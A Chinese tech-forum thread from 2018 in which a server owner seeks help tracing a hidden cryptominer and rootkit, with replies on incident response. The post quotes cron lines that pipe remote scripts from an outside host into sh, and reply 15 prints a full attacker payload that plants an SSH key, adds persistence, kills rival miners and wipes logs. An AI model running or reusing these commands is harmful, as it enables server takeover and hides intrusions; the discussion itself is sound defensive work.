
最近服务器 CPU 占用一直在 75%左右,阿里云盾报警说是有挖矿程序,但是 top 命令没有发现 cpu 占用特别高的进程
top - 09:08:51 up 7 days, 21:20, 0 users, load average: 6.53, 6.48, 6.45 Tasks: 181 total, 1 running, 179 sleeping, 0 stopped, 1 zombie Cpu(s): 77.8%us, 6.1%sy, 0.0%ni, 16.1%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st Mem: 32946868k total, 7645184k used, 25301684k free, 722592k buffers Swap: 0k total, 0k used, 0k free, 4216620k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 22948 root 20 0 616 4 0 R 1 0.0 0:00.46 top 1 root 20 0 117m 5996 3888 S 1 0.0 21:17.74 /sbin/init 1767 root 20 0 130m 16m 12m S 1 0.1 43:42.96 /usr/local/aegis/aegis_client/aegis_10_41/AliYunDun 1117 root 20 0 34336 4736 4200 S 0 0.0 7:24.21 /usr/local/aegis/aegis_update/AliYunDunUpdate 26901 root 20 0 2712m 567m 22m S 0 1.8 35:07.66 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs -D 1277 root 20 0 23196 2060 1524 S 0 0.0 6:24.72 /usr/local/cloudmonitor/wrapper/bin/./wrapper /usr/local/cloudmonitor/wrapper/bin/../conf/wrapper.conf wrapper.syslog.ident=cloudmonitor wrap 7741 root 20 0 6130m 950m 29m S 0 3.0 69:27.14 /root/apps/jdk1.8.0_121/bin/java -cp /root/spark/spark-2.1.4.19-bin-2.7.1/conf/:/root/spark/spark-2.1.4.19-bin-2.7.1/jars/*:/root/hadoop/hado 42 root RT 0 0 0 0 S 0 0.0 3:36.15 [migration/7] 13 root 20 0 0 0 0 S 0 0.0 4:13.37 [ksoftirqd/1] 12 root RT 0 0 0 0 S 0 0.0 3:42.04 [migration/1] 15 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/1:0H] 16 root RT 0 0 0 0 S 0 0.0 0:01.70 [watchdog/2] 17 root RT 0 0 0 0 S 0 0.0 2:07.48 [migration/2] 9 root RT 0 0 0 0 S 0 0.0 1:57.28 [migration/0] 20 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/2:0H] 21 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/3] 22 root RT 0 0 0 0 S 0 0.0 6:07.52 [migration/3] 23 root 20 0 0 0 0 S 0 0.0 5:42.32 [ksoftirqd/3] 25 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/3:0H] 26 root RT 0 0 0 0 S 0 0.0 0:02.08 [watchdog/4] 27 root RT 0 0 0 0 S 0 0.0 1:52.24 [migration/4] 28 root 20 0 0 0 0 S 0 0.0 3:41.09 [ksoftirqd/4] 30 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/4:0H] 8 root 20 0 0 0 0 S 0 0.0 0:00.00 [rcu_bh] 10 root RT 0 0 0 0 S 0 0.0 0:02.24 [watchdog/0] 33 root 20 0 0 0 0 S 0 0.0 4:11.14 [ksoftirqd/5] 32 root RT 0 0 0 0 S 0 0.0 3:36.46 [migration/5] 36 root RT 0 0 0 0 S 0 0.0 0:02.05 [watchdog/6] 35 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/5:0H] 38 root 20 0 0 0 0 S 0 0.0 3:39.25 [ksoftirqd/6] 40 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/6:0H] 41 root RT 0 0 0 0 S 0 0.0 0:01.97 [watchdog/7] 37 root RT 0 0 0 0 S 0 0.0 1:52.30 [migration/6] 43 root 20 0 0 0 0 S 0 0.0 4:06.41 [ksoftirqd/7] 45 root 0 -20 0 0 0 S 0 0.0 0:00.00 [kworker/7:0H] 46 root 20 0 0 0 0 S 0 0.0 0:00.00 [kdevtmpfs] 47 root 0 -20 0 0 0 S 0 0.0 0:00.00 [netns] 48 root 0 -20 0 0 0 S 0 0.0 0:00.00 [perf] 然后,在 /var/spool/crontab 目录下发现一个定时脚本:
REDIS0007ú redis-ver^F3.2.11ú redis-bits@ú^EctimeI{Zú^Hused-memx^L^@^@^D^@^@^HJsDhtGeK@I */5 * * * * /usr/bin/wget -q -O- http://cdn.namunil.com/sh.php|/bin/sh ^@^HFQysiMRk4 */2 * * * * curl http://cdn.namunil.com/sh.php|sh ^@^FdseINi8 */2 * * * * wget -O- http://cdn.namunil.com/sh.php|sh ^@^HJPYAqMif@F */5 * * * * /usr/bin/curl -qs http://cdn.namunil.com/sh.php|/bin/sh X*TAg 是挖矿的脚本无疑了,但接下来应该怎么排查呢,试了一下挖矿脚本下载不下来。cpu 还是一直 75%左右。
追加一下htop打印的内容
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command 5098 root 20 0 15628 1540 800 S 601. 0.0 10h35:14 [kondemand] 5101 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5102 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5103 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5105 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5104 root 20 0 15628 1540 800 R 100. 0.0 1h45:51 [kondemand] 5106 root 20 0 15628 1540 800 R 100. 0.0 1h45:52 [kondemand] 4999 root 20 0 2361M 73548 16152 S 0.7 0.2 50:17.49 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav 774 root 20 0 2655M 234M 23012 S 0.7 0.7 9:04.48 /root/apps/jdk1.8.0_121/bin/java -Dproc_secondarynamenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2. 2380 root 20 0 30104 11668 1932 S 0.7 0.0 3:38.34 /root/26 reboot 3665 root 20 0 76284 1160 784 S 0.7 0.0 4:01.08 /usr/bin/bsd-port/getty 27004 root 20 0 2712M 569M 22928 S 0.7 1.8 6:12.11 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs 1312 root 20 0 2361M 73548 16152 S 0.0 0.2 1h06:01 /usr/local/cloudmonitor/jre/bin/java -Djava.compiler=none -XX:-UseGCOverheadLimit -XX:NewRatio=1 -XX:SurvivorRatio=8 -XX:+UseSerialGC -Djav 26901 root 20 0 2712M 569M 22928 S 0.0 1.8 35:14.74 /root/apps/jdk1.8.0_121/bin/java -Dproc_namenode -Xmx1000m -Djava.net.preferIPv4Stack=true -Dhadoop.log.dir=/root/hadoop/hadoop-2.7.1/logs kondemand 进程把cpu跑满了,没查到什么东西
1 Mrun 2018-05-28 09:24:08 +08:00 排查啥啊,这种情况就是备份好数据,全盘重做系统 |
2 nealwx 2018-05-28 09:27:25 +08:00 via iPhone top -b -n 1 看一下,你贴出来的好像不全 然后再装个 htop 应该就可以明显的看出来了 |
3 d0m2o08 2018-05-28 09:41:10 +08:00 egrep 'curl|wget' -R / 先把下载挖光脚本的脚本找出来 top 或者 htop 查看那个进程占用高 干掉 根据找出来的可以脚本路径 在查找有没有可疑的隐藏文件 |
4 xhf3894 2018-05-28 09:52:28 +08:00 以前一个测试服务器也中过招,首先找出程序的位置,先打包下载下来,然后删除程序,删除随系统启动的配置,然后是修改密码。 挖矿脚本的原理基本好像是通过扫描 ip,尝试弱密码登录,登录成功之后下载挖矿脚本并执行,而且还会利用服务器查找其他弱密码的 ip。 |
5 diveIntoWork OP 目前的问题是定位不到 cpu 占用高的进程,定时任务我也清空了,目前也查不到有其他的定时任务,比较尴尬 |
6 Marzlia 2018-05-28 09:59:24 +08:00 你是不是开放得 redis 得端口,我之前就是开了这个端口,清除掉没必要得端口再去找个教程清除挖矿程序 |
7 albertofwb 2018-05-28 10:15:20 +08:00 via Android 会不会是这样,挖矿程序做了反侦测,检测到 top 运行的时候自动暂停工作? 哈哈哈哈 |
8 diveIntoWork OP @albertofwb 不会吧,cpu 突降应该也看得到 |
9 lexuskingxx 2018-05-28 10:21:40 +08:00 via iPhone ssh 登录,不能使用密码登录 |
10 dbow 2018-05-28 10:22:31 +08:00 你这个挖矿程序应该是用了隐藏进程技术,ldd /bin/bash 看看是不是有奇怪的 so 文件预加载, 有的话把他们删除掉, 再看 top 就正常了。 |
11 einvince 2018-05-28 10:23:13 +08:00 top ps 二进制文件被换了,这两个已经成了启动木马启动命令,从别的机器上拷过来再用 |
12 care 2018-05-28 10:24:28 +08:00 via iPhone 命令是不是被替换了呢? |
13 iamsee 2018-05-28 10:26:36 +08:00 |
14 zcmxw1 2018-05-28 10:26:43 +08:00 你以 namunil.com 这个为关键字,百度一下,会有几篇文章,跟你类似,你可以参考一下 |
15 iamsee 2018-05-28 10:30:01 +08:00 我之前中这招是 redis 密码太弱,他会写 redis,shell payload 全部代码: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin sleep 3 cd /var/tmp || cd /tmp find . -maxdepth 1 -name ".mxsh0" -type f -mmin +20 -delete [ -f .mxsh0 ] && exit 0 echo 0 > .mxsh0 trap "rm -rf .mxsh0" EXIT setenforce 0 2>/dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null crontab -r 2>/dev/null rm -rf /var/spool/cron 2>/dev/null rm -rf /root/.ssh 2>/dev/null crontab -l 2>/dev/null mkdir -p /var/spool/cron/crontabs 2>/dev/null mkdir -p /root/.ssh 2>/dev/null echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpBB7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx redisX" > /root/.ssh/authorized_keys echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/root echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/root echo "*/2 * * * * curl -qs cdn.namunil.com/ash.php|sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * /usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /var/spool/cron/crontabs/root echo "curl -qs cdn.namunil.com/ash.php|sh" > /etc/rc.local echo "/usr/bin/curl -s cdn.namunil.com/ash.php|/bin/sh" >> /etc/rc.local echo "exit 0" >> /etc/rc.local grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf grep -q 5.206.225.60 /etc/hosts || echo "5.206.225.60 static.cortins.tk" >> /etc/hosts rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null rm -rf /etc/root.sh 2>/dev/null sync && echo 3 > /proc/sys/vm/drop_caches cat <<EOF> /etc/security/limits.conf * hard nofile 50000 * soft nofile 50000 root hard nofile 50000 root soft nofile 50000 EOF iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -j DROP 2>/dev/null iptables -I INPUT 1 -p tcp --match multiport --dports 6370:7006 -s 127.0.0.1 -j ACCEPT 2>/dev/null ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null echo 0 > /var/spool/mail/root echo 0 > /var/log/wtmp echo 0 > /var/log/secure echo 0 > /root/.bash_history sleep 30 exit 0 |
16 nine99 2018-05-28 10:34:03 +08:00 有 rookit 的, 常规方法你是发现不了的 |
17 diveIntoWork OP |
18 dbow 2018-05-28 10:45:47 +08:00 可以再从内核的角度看看, 用 perf top 这个系统性能分析工具, 具体使用方法网上找找。 |
19 lucifer4he 2018-05-28 10:46:01 +08:00 可能 ld.so.preload 增加了一个库文件,库 hook 了 readdir 之类的函数,对读取 /proc 文件夹的操作做了过滤,所以客户在使用 top 或者 ps 命令的时候,得到的结果都是被过滤过的结果。搞一下 top,这些命令隐藏下进程容易的很 现在现场还在做一个 coredump 分析下吧 |
20 chestnutprog 2018-05-28 12:46:56 +08:00 先拿 RkHunter 查一下 rootkit http://rkhunter.sourceforge.net/ |
21 diveIntoWork OP @chestnutprog 感谢 用 RkHunter 查了一下,报警的内容有: /usr/sbin/adduser [ Warning ] /usr/bin/ldd [ Warning ] /usr/bin/top [ Warning ] /usr/bin/lwp-request [ Warning ] /bin/egrep [ Warning ] /bin/fgrep [ Warning ] /bin/netstat [ Warning ] /bin/which [ Warning ] 这些命令可能都被篡改过了。。/bin/ 目录下的内容 root 用户也不能随便替换吧,能不能从其他机器上拷贝过来 |
22 jin5354 2018-05-28 13:19:16 +08:00 不太懂,我 redis 之类的密码强度都很高,10 多位+大小写字母+数字+特殊符号,这样是不是就不容易中招了 |
23 RelativeLayout 2018-05-28 13:51:09 +08:00 |
24 Pain 2018-05-28 17:12:42 +08:00 没有人比入侵者更了解 入侵的程度。所以备份数据 重装系统是最好的解决方式。 |
25 xuanyuanaosheng 2018-05-28 17:23:30 +08:00 目前知道的有一整套的入侵方案:1. 系统命令肯定被替换了 2. 会增加 cron 定时任务 3. 你再知道某些问题后,主要能联网,程序还是会自动修复的,还是被挖矿,4. 开机启动部分也需要查看 5. 目前知道的进程名称为:htral,这个用 top 看不到的 最后建议自己先备份下自己的数据,备份的时候一定注意,然后重新安装系统,这些 |
26 chestnutprog 2018-05-28 20:37:38 +08:00 @diveIntoWork 可以从干净的相同版本系统上拷,把 rootkit 修好之后去找找挖矿程序,多半是简单的脚本啥的,分析清楚都干了啥挨个修了,顺便看下程序创建时间,检查下当时的 log 看看是从哪里进来的 |
27 kmahyyg 2018-05-28 20:42:48 +08:00 备份重要的非可执行数据之后重装吧 |
28 huigeer 2018-05-28 20:53:00 +08:00 备份重要的非可执行数据之后重装吧 |
29 conn4575 2018-05-28 20:56:51 +08:00 via Android 好可怕,吓得我都不敢开放端口了 |
30 diveIntoWork OP @chestnutprog 感谢~ 最后是这样解决的 |
31 fancyhan 2018-05-28 21:29:35 +08:00 牛逼啊,只能重新安装系统了,怕是有 rookie,你用的什么 distro,开了啥 web 应用,听说 java ssh 框架有漏洞 |
32 aimiyooo 2018-05-28 23:17:41 +08:00 服务器有 redis 吧?备份数据,重装系统 |
33 0xz 2018-05-28 23:25:07 +08:00 via iPhone top 这些检测常用的命令应该也被修改 |
34 crll 2018-05-28 23:45:59 +08:00 via iPhone 我一般除了 80.443 端口开放,其他端口都修改了或者不对外开放的。重装系统是最快捷的方式。做好安全很重要。 |
35 leakless 2018-05-29 00:44:21 +08:00 |
36 testVmap 2018-05-29 09:42:32 +08:00 安装 sysdig 工具,我用这个找到了 CPU 占用高的程序 #sysdig -c topprocs_cpu CPU% Process PID -------------------------------------------------------------------------------- 99.70% <NA> 719 99.70% <NA> 725 98.70% <NA> 724 98.70% <NA> 722 0.00% oracle 10187 0.00% hosteye 988 0.00% V8 4374 0.00% oracle 6393 0.00% gdbus 534 0.00% <NA> 9230 |